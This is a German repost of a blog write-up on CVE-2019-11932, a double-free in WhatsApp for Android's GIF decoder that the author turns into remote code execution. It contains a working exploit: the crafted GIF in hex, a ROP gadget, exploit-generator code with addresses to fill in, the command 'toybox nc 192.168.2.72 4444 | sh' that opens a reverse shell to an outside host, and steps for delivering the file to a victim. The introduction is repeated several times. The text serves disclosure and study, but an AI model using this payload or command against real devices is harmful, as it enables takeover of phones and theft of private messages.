
Ich werde über eine Double-Free-Sicherheitslücke berichten, die ich in WhatsApp für Android entdeckt habe, und wie ich sie in eine RCE umgewandelt habe. Ich habe dies Facebook gemeldet. Facebook hat den Fehler bestätigt und offiziell in WhatsApp Version 2.19.244 behoben. Facebook half dabei, CVE-2019-11932 für dieses Problem zu reservieren.
WhatsApp-Nutzer, bitte aktualisiert auf die neueste WhatsApp-Version (2.19.244 oder höher), um vor diesem Bug geschützt zu sein.
Die Schritte sind wie folgt:
Eine Möglichkeit ist als Dokument über WhatsApp (d.h. den Büroklammer-Button drücken und Dokument auswählen, um das manipulierte GIF zu senden) Wenn sich der Angreifer in der Kontaktliste des Benutzers befindet (d.h. ein Freund), wird das manipulierte GIF automatisch ohne Benutzerinteraktion heruntergeladen.
Beachten Sie, dass der Benutzer nichts senden muss, da bereits das Öffnen der WhatsApp-Galerie den Bug auslöst. Nach dem Drücken der WhatsApp-Galerie ist keine weitere Berührung erforderlich.
Wenn ein WhatsApp-Benutzer die Galerieansicht in WhatsApp öffnet, um eine Mediendatei zu senden, parst WhatsApp diese mit einer nativen Bibliothek namens libpl_droidsonroids_gif.so, um die Vorschau der GIF-Datei zu generieren. libpl_droidsonroids_gif.so ist eine Open-Source-Bibliothek mit Quellcode verfügbar unter https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
Eine GIF-Datei enthält mehrere codierte Frames. Zum Speichern der decodierten Frames wird ein Puffer mit dem Namen rasterBits verwendet. Wenn alle Frames die gleiche Größe haben, wird rasterBits ohne Neuzuweisung wiederverwendet, um die decodierten Frames zu speichern. Allerdings wird rasterBits neu zugewiesen, wenn eine der folgenden drei Bedingungen erfüllt ist:
Neuzuweisung ist eine Kombination aus free und malloc. Wenn die Größe der Neuzuweisung 0 ist, handelt es sich lediglich um einen free. Angenommen, wir haben eine GIF-Datei, die 3 Frames mit den Größen 100, 0 und 0 enthält.
Dies führt zu einer Double-Free-Sicherheitslücke. Die Auslösestelle findet sich in decoding.c:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; }
Wie ein Double-Free-Fehler in WhatsApp zu RCE wird 14 Minuten Lesezeit AUF DIESER SEITE DEMO DOUBLE-FREE-SICHERHEITSLÜCKE IN DDGIFSLURP IN DECODING.C IN LIBPL_DROIDSONROIDS_GIF PC-REGISTER KONTROLLIEREN UMGANG MIT ASLR UND W^X ALLES ZUSAMMENFÜGEN BETROFFENE VERSIONEN ANGRIFFSVEKTOREN In diesem Blogbeitrag werde ich über eine Double-Free-Sicherheitslücke berichten, die ich in WhatsApp für Android entdeckt habe, und wie ich sie in eine RCE umgewandelt habe. Ich habe dies Facebook gemeldet. Facebook hat den Fehler bestätigt und offiziell in WhatsApp Version 2.19.244 behoben. Facebook half dabei, CVE-2019-11932 für dieses Problem zu reservieren.
WhatsApp-Nutzer, bitte aktualisiert auf die neueste WhatsApp-Version (2.19.244 oder höher), um vor diesem Bug geschützt zu sein.
Demo https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
Google Drive-Link zum Herunterladen, falls der obige Link nicht zugänglich ist https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
Die Schritte sind wie folgt:
0:16 Angreifer sendet GIF-Datei über beliebige Kanäle an Benutzer Eine Möglichkeit ist als Dokument über WhatsApp (d.h. den Büroklammer-Button drücken und Dokument auswählen, um das manipulierte GIF zu senden) Wenn sich der Angreifer in der Kontaktliste des Benutzers befindet (d.h. ein Freund), wird das manipulierte GIF automatisch ohne Benutzerinteraktion heruntergeladen. 0:24 Benutzer möchte eine Mediendatei an einen seiner WhatsApp-Freunde senden. Der Benutzer drückt daher den Büroklammer-Button und öffnet die WhatsApp-Galerie, um eine Mediendatei zum Senden an seinen Freund auszuwählen. Beachten Sie, dass der Benutzer nichts senden muss, da bereits das Öffnen der WhatsApp-Galerie den Bug auslöst. Nach dem Drücken der WhatsApp-Galerie ist keine weitere Berührung erforderlich. 0:30 Da WhatsApp Vorschaubilder aller Medien anzeigt (einschließlich der empfangenen GIF-Datei), wird der Double-Free-Bug und unser RCE-Exploit ausgelöst. Double-Free-Sicherheitslücke in DDGifSlurp in decoding.c in libpl_droidsonroids_gif Wenn ein WhatsApp-Benutzer die Galerieansicht in WhatsApp öffnet, um eine Mediendatei zu senden, parst WhatsApp diese mit einer nativen Bibliothek namens libpl_droidsonroids_gif.so, um die Vorschau der GIF-Datei zu generieren. libpl_droidsonroids_gif.so ist eine Open-Source-Bibliothek mit Quellcode verfügbar unter https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
Eine GIF-Datei enthält mehrere codierte Frames. Zum Speichern der decodierten Frames wird ein Puffer mit dem Namen rasterBits verwendet. Wenn alle Frames die gleiche Größe haben, wird rasterBits ohne Neuzuweisung wiederverwendet, um die decodierten Frames zu speichern. Allerdings wird rasterBits neu zugewiesen, wenn eine der folgenden drei Bedingungen erfüllt ist:
Breite * Höhe > ursprünglicheBreite * ursprünglicheHöhe Breite - ursprünglicheBreite > 0 Höhe - ursprünglicheHöhe > 0 Neuzuweisung ist eine Kombination aus free und malloc. Wenn die Größe der Neuzuweisung 0 ist, handelt es sich lediglich um einen free. Angenommen, wir haben eine GIF-Datei, die 3 Frames mit den Größen 100, 0 und 0 enthält.
Nach der ersten Neuzuweisung haben wir einen info->rasterBits-Puffer der Größe 100. Bei der zweiten Neuzuweisung von 0 wird der info->rasterBits-Puffer freigegeben. Bei der dritten Neuzuweisung von 0 wird info->rasterBits erneut freigegeben. Dies führt zu einer Double-Free-Sicherheitslücke. Die Auslösestelle findet sich in decoding.c:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } In Android führt ein Double-Free eines Speichers der Größe N dazu, dass zwei nachfolgende Speicherzuweisungen der Größe N die gleiche Adresse zurückgeben.
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
Wie ein Double-Free-Fehler in WhatsApp zu RCE wird 14 Minuten Lesezeit AUF DIESER SEITE DEMO DOUBLE-FREE-SICHERHEITSLÜCKE IN DDGIFSLURP IN DECODING.C IN LIBPL_DROIDSONROIDS_GIF PC-REGISTER KONTROLLIEREN UMGANG MIT ASLR UND W^X ALLES ZUSAMMENFÜGEN BETROFFENE VERSIONEN ANGRIFFSVEKTOREN In diesem Blogbeitrag werde ich über eine Double-Free-Sicherheitslücke berichten, die ich in WhatsApp für Android entdeckt habe, und wie ich sie in eine RCE umgewandelt habe. Ich habe dies Facebook gemeldet. Facebook hat den Fehler bestätigt und offiziell in WhatsApp Version 2.19.244 behoben. Facebook half dabei, CVE-2019-11932 für dieses Problem zu reservieren.
WhatsApp-Nutzer, bitte aktualisiert auf die neueste WhatsApp-Version (2.19.244 oder höher), um vor diesem Bug geschützt zu sein.
Demo https://drive.google.com/file/d/1T-v5XG8yQuiPojeMpOAG6UGr2TYpocIj/view
Google Drive-Link zum Herunterladen, falls der obige Link nicht zugänglich ist https://drive.google.com/open?id=1X9nBlf5oj5ef2UoYGOfusjxAiow8nKEK
Die Schritte sind wie folgt:
0:16 Angreifer sendet GIF-Datei über beliebige Kanäle an Benutzer Eine Möglichkeit ist als Dokument über WhatsApp (d.h. den Büroklammer-Button drücken und Dokument auswählen, um das manipulierte GIF zu senden) Wenn sich der Angreifer in der Kontaktliste des Benutzers befindet (d.h. ein Freund), wird das manipulierte GIF automatisch ohne Benutzerinteraktion heruntergeladen. 0:24 Benutzer möchte eine Mediendatei an einen seiner WhatsApp-Freunde senden. Der Benutzer drückt daher den Büroklammer-Button und öffnet die WhatsApp-Galerie, um eine Mediendatei zum Senden an seinen Freund auszuwählen. Beachten Sie, dass der Benutzer nichts senden muss, da bereits das Öffnen der WhatsApp-Galerie den Bug auslöst. Nach dem Drücken der WhatsApp-Galerie ist keine weitere Berührung erforderlich. 0:30 Da WhatsApp Vorschaubilder aller Medien anzeigt (einschließlich der empfangenen GIF-Datei), wird der Double-Free-Bug und unser RCE-Exploit ausgelöst. Double-Free-Sicherheitslücke in DDGifSlurp in decoding.c in libpl_droidsonroids_gif Wenn ein WhatsApp-Benutzer die Galerieansicht in WhatsApp öffnet, um eine Mediendatei zu senden, parst WhatsApp diese mit einer nativen Bibliothek namens libpl_droidsonroids_gif.so, um die Vorschau der GIF-Datei zu generieren. libpl_droidsonroids_gif.so ist eine Open-Source-Bibliothek mit Quellcode verfügbar unter https://github.com/koral–/android-gif-drawable/tree/dev/android-gif-drawable/src/main/c.
Eine GIF-Datei enthält mehrere codierte Frames. Zum Speichern der decodierten Frames wird ein Puffer mit dem Namen rasterBits verwendet. Wenn alle Frames die gleiche Größe haben, wird rasterBits ohne Neuzuweisung wiederverwendet, um die decodierten Frames zu speichern. Allerdings wird rasterBits neu zugewiesen, wenn eine der folgenden drei Bedingungen erfüllt ist:
Breite * Höhe > ursprünglicheBreite * ursprünglicheHöhe Breite - ursprünglicheBreite > 0 Höhe - ursprünglicheHöhe > 0 Neuzuweisung ist eine Kombination aus free und malloc. Wenn die Größe der Neuzuweisung 0 ist, handelt es sich lediglich um einen free. Angenommen, wir haben eine GIF-Datei, die 3 Frames mit den Größen 100, 0 und 0 enthält.
Nach der ersten Neuzuweisung haben wir einen info->rasterBits-Puffer der Größe 100. Bei der zweiten Neuzuweisung von 0 wird der info->rasterBits-Puffer freigegeben. Bei der dritten Neuzuweisung von 0 wird info->rasterBits erneut freigegeben. Dies führt zu einer Double-Free-Sicherheitslücke. Die Auslösestelle findet sich in decoding.c:
int_fast32_t widthOverflow = gifFilePtr->Image.Width - info->originalWidth; int_fast32_t heightOverflow = gifFilePtr->Image.Height - info->originalHeight; const uint_fast32_t newRasterSize = gifFilePtr->Image.Width * gifFilePtr->Image.Height; if (newRasterSize > info->rasterSize || widthOverflow > 0 || heightOverflow > 0) { void *tmpRasterBits = reallocarray(info->rasterBits, newRasterSize, <<-- double-free here sizeof(GifPixelType)); if (tmpRasterBits == NULL) { gifFilePtr->Error = D_GIF_ERR_NOT_ENOUGH_MEM; break; } info->rasterBits = tmpRasterBits; info->rasterSize = newRasterSize; } In Android führt ein Double-Free eines Speichers der Größe N dazu, dass zwei nachfolgende Speicherzuweisungen der Größe N die gleiche Adresse zurückgeben.
(lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250
(lldb) p (int)free($foo) (int) $15 = 0
(lldb) p (int)free($foo) (int) $16 = 0
(lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350
(lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0
(lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0
(lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250
(lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250
Im obigen Ausschnitt wurde die Variable $foo zweimal freigegeben. Infolgedessen geben die nächsten beiden Zuweisungen ($20 und $21) die gleiche Adresse zurück. Nun betrachten wir struct GifInfo in gif.h struct GifInfo { void (*destructor)(GifInfo *, JNIEnv *); <<-- es gibt hier einen Funktionszeiger GifFileType *gifFilePtr; GifWord originalWidth, originalHeight; uint_fast16_t sampleSize; long long lastFrameRemainder; long long nextStartTime; uint_fast32_t currentIndex; GraphicsControlBlock *controlBlock; argb *backupPtr; long long startPos; unsigned char *rasterBits; uint_fast32_t rasterSize; char *comment; uint_fast16_t loopCount; uint_fast16_t currentLoop; RewindFunc rewindFunction; <<-- es gibt hier einen weiteren Funktionszeiger jfloat speedFactor; uint32_t stride; jlong sourceLength; bool isOpaque; void *frameBufferDescriptor; };
Wir erstellen dann eine GIF-Datei mit drei Frames der folgenden Größen: sizeof(GifInfo) 0 0
Wenn die WhatsApp-Galerie geöffnet wird, löst die besagte GIF-Datei den Double-Free-Bug auf dem rasterBits-Puffer mit der Größe sizeof(GifInfo) aus. Interessanterweise wird in der WhatsApp-Galerie eine GIF-Datei zweimal geparst. Wenn die besagte GIF-Datei erneut geparst wird, wird ein weiteres GifInfo-Objekt erstellt. Aufgrund des Double-Free-Verhaltens in Android zeigen das GifInfo-Objekt info und info->rasterBits auf die gleiche Adresse. DDGifSlurp() decodiert dann den ersten Frame in den info->rasterBits-Puffer, überschreibt somit info und seine rewindFunction(), die direkt am Ende der DDGifSlurp()-Funktion aufgerufen wird.
Die GIF-Datei, die wir erstellen müssen, ist wie folgt: 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B
Es enthält vier Frames: Frame 1: 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF Frame 2: 2C 00 00 00 00 1C 0F 00 00 00 00 Frame 3: 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Frame 4: 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 Die folgende Sequenz passiert beim Öffnen der WhatsApp-Galerie:
Erstes Parsen: Init: GifInfo info = malloc(168); Frame 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Frame 2: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Frame 3: info->rasterBits = reallocarray(info->rasterBits, 0x00xf1c, 1); Frame 4: spielt keine Rolle, es ist da, um diese GIF-Datei gültig zu machen Zweites Parsen: Init: GifInfo info = malloc(168); Frame 1: info->rasterBits = reallocarray(info->rasterBits, 0x80x15, 1); Frame 2, 3, 4: spielt keine Rolle Ende: info->rewindFunction(info); Aufgrund des Double-Free-Bugs, der beim ersten Parsen auftritt, zeigen info und info->rasterBits nun auf die gleiche Stelle. Mit dem wie beschrieben erstellten ersten Frame können wir die rewindFunction und den PC kontrollieren, wenn info->rewindFunction(info); aufgerufen wird. Beachten Sie, dass alle Frames LZW-codiert sind. Wir müssen einen LZW-Encoder verwenden, um die Frames zu codieren. Das obige GIF löst einen Absturz wie folgt aus:
--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc
Nachdem wir den PC kontrollieren, wollen wir eine Remote-Code-Ausführung erreichen. In Android können wir aufgrund von W^X (d.h. Stack und Heap) keinen Code in nicht ausführbaren Bereichen ausführen. Der einfachste Weg, mit W^X in unserem Fall umzugehen, ist die Ausführung des folgenden Befehls:
system("toybox nc 192.168.2.72 4444 | sh"); Dafür müssen wir den PC auf die Funktion system() in libc.so zeigen lassen und X0 auf "toybox nc 192.168.2.72 4444 | sh". Dies kann nicht direkt erfolgen. Wir müssen zuerst den PC zu einem Zwischengadget springen lassen, das X0 auf "toybox nc 192.168.2.72 4444 | sh" setzt und dann zu system() springt. Aus dem Disassemblierungscode um info->rewindFunction(info); herum sehen wir, dass sowohl X0 als auch X19 auf info->rasterBits (oder info, da beide auf die gleiche Stelle zeigen) zeigen, während X8 tatsächlich info->rewindFunction ist.
Disassemblierung um info->rewindFunctionEs gibt ein Gadget in libhwui.so, das unseren Zweck perfekt erfüllt:
ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 Nehmen wir an, die Adresse des obigen Gadgets sei AAAAAAAA und die Adresse der system()-Funktion sei BBBBBBBB. Der rasterBits-Puffer (Frame 1) vor der LZW-Codierung sieht wie folgt aus:
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. In einem normalen Android-System, da alle Prozesse von Zygotes erzeugt werden, ändern sich selbst mit ASLR unsere Adressen AAAAAAAA und BBBBBBBB nicht, wenn WhatsApp beendet und neu gestartet wird. Allerdings überdauern sie keinen Systemneustart. Um zuverlässige AAAAAAAA und BBBBBBBB zu erhalten, benötigen wir eine Information-Disclosure-Schwachstelle, die uns die Basisadresse von libc.so und libhwui.so liefert. Diese Schwachstelle liegt außerhalb des Rahmens dieses Blogbeitrags.
Kompiliere einfach den Code in diesem Repository. Beachte, dass die Adresse von system() und des Gadgets durch die tatsächliche Adresse ersetzt werden müssen, die durch eine Information-Disclosure-Schwachstelle gefunden wurde (die in diesem Blogbeitrag nicht behandelt wird). /* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8);
size_t system_loc = 0x7cb602ce84; <<-- replace this
memcpy(buffer + 24, &system_loc, 8);
Run the code to generate the corrupted GIF file:
notroot@osboxes:/Desktop/gif$ make
.....
.....
.....
notroot@osboxes:/Desktop/gif$ ./exploit
buffer = 0x7ffc586cd8b0 size = 266
47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC
FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00
00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08
9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0
C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40
C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A
34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00
00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00
18 00 0A 00 0F 00 01 00 00 3B
Kopiere dann den Inhalt in eine GIF-Datei und sende sie als Dokument mit WhatsApp an einen anderen WhatsApp-Benutzer. Beachte, dass sie nicht als Mediendatei gesendet werden darf, da WhatsApp sonst versucht, sie vor dem Senden in ein MP4 zu konvertieren. Wenn der Benutzer die bösartige GIF-Datei empfängt, passiert nichts, bis der Benutzer die WhatsApp-Galerie öffnet, um eine Mediendatei an seinen/ihren Freund zu senden.
Der Exploit funktioniert einwandfrei bis zur WhatsApp-Version 2.19.230. Die Schwachstelle wurde offiziell in WhatsApp-Version 2.19.244 behoben.
Der Exploit funktioniert gut für Android 8.1 und 9.0, aber nicht für Android 8.0 und älter. In den älteren Android-Versionen könnte der Double-Free immer noch ausgelöst werden. Aufgrund der malloc-Aufrufe des Systems nach dem Double-Free stürzt die App jedoch ab, bevor wir den Punkt erreichen, an dem wir das PC-Register kontrollieren könnten.
Beachte, dass Facebook den Entwickler des android-gif-drawable-Repositorys über das Problem informiert hat. Der Fix von Facebook wurde ebenfalls in das ursprüngliche Repository in einem Commit vom 10. August übernommen. Version 1.2.18 von android-gif-drawable ist vor dem Double-Free-Bug sicher.
Mit der obigen Ausnutzung haben wir zwei Angriffsvektoren:
Lokale Privilegienausweitung (von einer Benutzer-App zu WhatsApp): Eine bösartige App wird auf dem Android-Gerät installiert. Die App sammelt Adressen von Zygote-Bibliotheken und generiert eine bösartige GIF-Datei, die zur Codeausführung im WhatsApp-Kontext führt. Dies ermöglicht es der Malware-App, Dateien in der WhatsApp-Sandbox einschließlich der Nachrichtendatenbank zu stehlen. Remote-Codeausführung: In Verbindung mit einer Anwendung, die eine entfernte Speicher-Informationsoffenlegungs-Schwachstelle aufweist (z.B. Browser), kann der Angreifer die Adressen der Zygote-Bibliotheken sammeln und eine bösartige GIF-Datei erstellen, um sie dem Benutzer über WhatsApp zu senden (muss als Anhang, nicht als Bild über die Galerieauswahl gesendet werden). Sobald der Benutzer die Galerieansicht in WhatsApp öffnet (wer schickt schon keine Mediendateien an Freunde, oder?), löst die GIF-Datei eine entfernte Shell im WhatsApp-Kontext aus.
#Source Afnan Sadhayo Infiniteloopers.com
Ich besitze dies nicht. Bei Problemen wende dich bitte an den Eigentümer.